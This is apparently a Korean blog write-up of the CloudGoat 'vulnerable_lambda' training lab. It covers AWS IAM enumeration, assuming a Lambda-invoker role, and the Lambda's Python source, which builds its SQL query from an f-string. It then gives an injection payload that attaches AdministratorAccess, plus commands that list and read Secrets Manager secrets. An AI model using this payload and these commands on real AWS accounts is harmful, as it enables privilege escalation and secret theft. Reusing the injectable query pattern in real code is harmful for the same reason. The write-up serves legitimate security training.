카테고리 없음

CloudGoat - vulnerable_lambda 시나리오

hiris 2024. 3. 26. 13:00

※1. Github 주소는 다음과 같다 

https://github.com/RhinoSecurityLabs/cloudgoat?tab=readme-ov-file

 

GitHub - RhinoSecurityLabs/cloudgoat: CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

2. 실습 시나리오를 생성을 한다. 

./cloudgoat.py create vulnerable_lambda

 

3. 실습 시나리오 동작 과정은 다음과 같다 .

 

정책 & User 정보 가져오기 

4.  user 'bilbo' 의 정보를 가져온다 

 

 

5. 정책 정보를 가져온다. 

 

6. bilbo에 할당된 policy를 가져온다.  

 

=> cg lambda invoker에 AssumeRole이 할당되어 있는 것을 확인할 수 있다.

저번 실습에서도 AssumeRole를 활용해 권한 탈취를 진행을 했었는데 이번에도 방식이 동일한 가 보다.

 

AssumeRole ? 

★ AWS IAM에서 지원하는 기능 중 하나로 IAM 사용자 또는 외부 자격증명으로 다른 AWS 계정에 접근할 수 있다. 

 

7.cg-lambda-invoker*와 관련된 Role을 탐색

 

8. 해당 Role에 관련한 정책 살펴보기 

 

=> 정책을 보니 이 Role에는 lambda-invoker라는 정책 하나만 연결되어 있는 것을 확인할 수 있다. 

 

9. lambda-invoker과 관련된 정책 

 

=> lambda-invoker poilcy 정책의 내용을 확인을 하니 lambda:invokefunction에 연결된 lambda 함수를 확인할 수 있었다. 

해당 함수를 가지고 사용을 할 건가 보다. 

 

10. lambda-invoker의 role의 credential을 획득했다. 

 

11. 획득한 Credential을 CLI에서 사용하기 위해 추가로 등록해준다.

session key 등록

 

12. lambda 함수 목록 가져오기 

 

13. lambda 함수 다운로드 

aws lambda get-function --profile session-by-bilbo --function-name [function 이름] --region us-east-1

해당 명령어를 통해 code가 포함된 URL을 확인할 수 있다. 

 

wget [ "URL" ] 을 통해 해당 코드를 다운로드 받는다. 

다운로드 받고 zip 파일 압축 푼다. 

 

14. main.py는 다음과 같다. 

=> 

import boto3
from sqlite_utils import Database

db = Database("my_database.db")
iam_client = boto3.client('iam')


# db["policies"].insert_all([
#     {"policy_name": "AmazonSNSReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonRDSReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AWSLambda_ReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonS3ReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonGlacierReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonRoute53DomainsReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AdministratorAccess", "public": 'False'}
# ])


def handler(event, context):
    target_policys = event['policy_names']
    user_name = event['user_name']
    print(f"target policys are : {target_policys}")

    for policy in target_policys:
        statement_returns_valid_policy = False
        statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
        for row in db.query(statement):
            statement_returns_valid_policy = True
            print(f"applying {row['policy_name']} to {user_name}")
            response = iam_client.attach_user_policy(
                UserName=user_name,
                PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}"
            )
            print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))

        if not statement_returns_valid_policy:
            invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \
                                       f"policies and don't cheat. :) "
            print(invalid_policy_statement)
            return invalid_policy_statement

    return "All managed policies were applied as expected."


if __name__ == "__main__":
    payload = {
        "policy_names": [
            "AmazonSNSReadOnlyAccess",
            "AWSLambda_ReadOnlyAccess"
        ],
        "user_name": "cg-bilbo-user"
    }
    print(handler(payload, 'uselessinfo'))

 

=> payload로 policy_name과 user_name을 넘겨준다. 이때 sql injection을 실행하면 된다. 

 

15. SQL Injection 수행 

=> 해당 명령어를 통해 SQL injection을 수행한다. 

그렇게 하면 payload에 있는 policy_name과 user_name을 넣어 administratoraccess를 pubilc으로 전환시켜준다. 

 

 

aws --profile session_bilbo --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgidccvmwarrmb-policy_applier_lambda1 --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess'"'"' --"], "user_name": ["cg-bilbo-user"]}' out.txt

 

 

16. bilbo는 admin 권한을 얻게 되고 secretsmanager을 통해 secret list를 확인할 수 있다. 

# This command will list all the secrets in secretsmanager
aws --profile bilbo --region us-east-1 secretsmanager list-secrets
# This command will get the value for a specific secret
aws --profile bilbo --region us-east-1 secretsmanager get-secret-value --secret-id [ARN_OF_TARGET_SECRET]

 

 

=> 해당 실습 내용을 정리하면 다음과 같다. 

 

'bilbo' 유저로 시작해서 lambda 함수를 찾고 

lambda 함수의 code를 찾아서 취약점을 찾은 다음 

sql injection을 활용해 권한을 가져오는 ... 

보안을 강화하기 위해서는 이래저래 생각해야 할게 너무 많다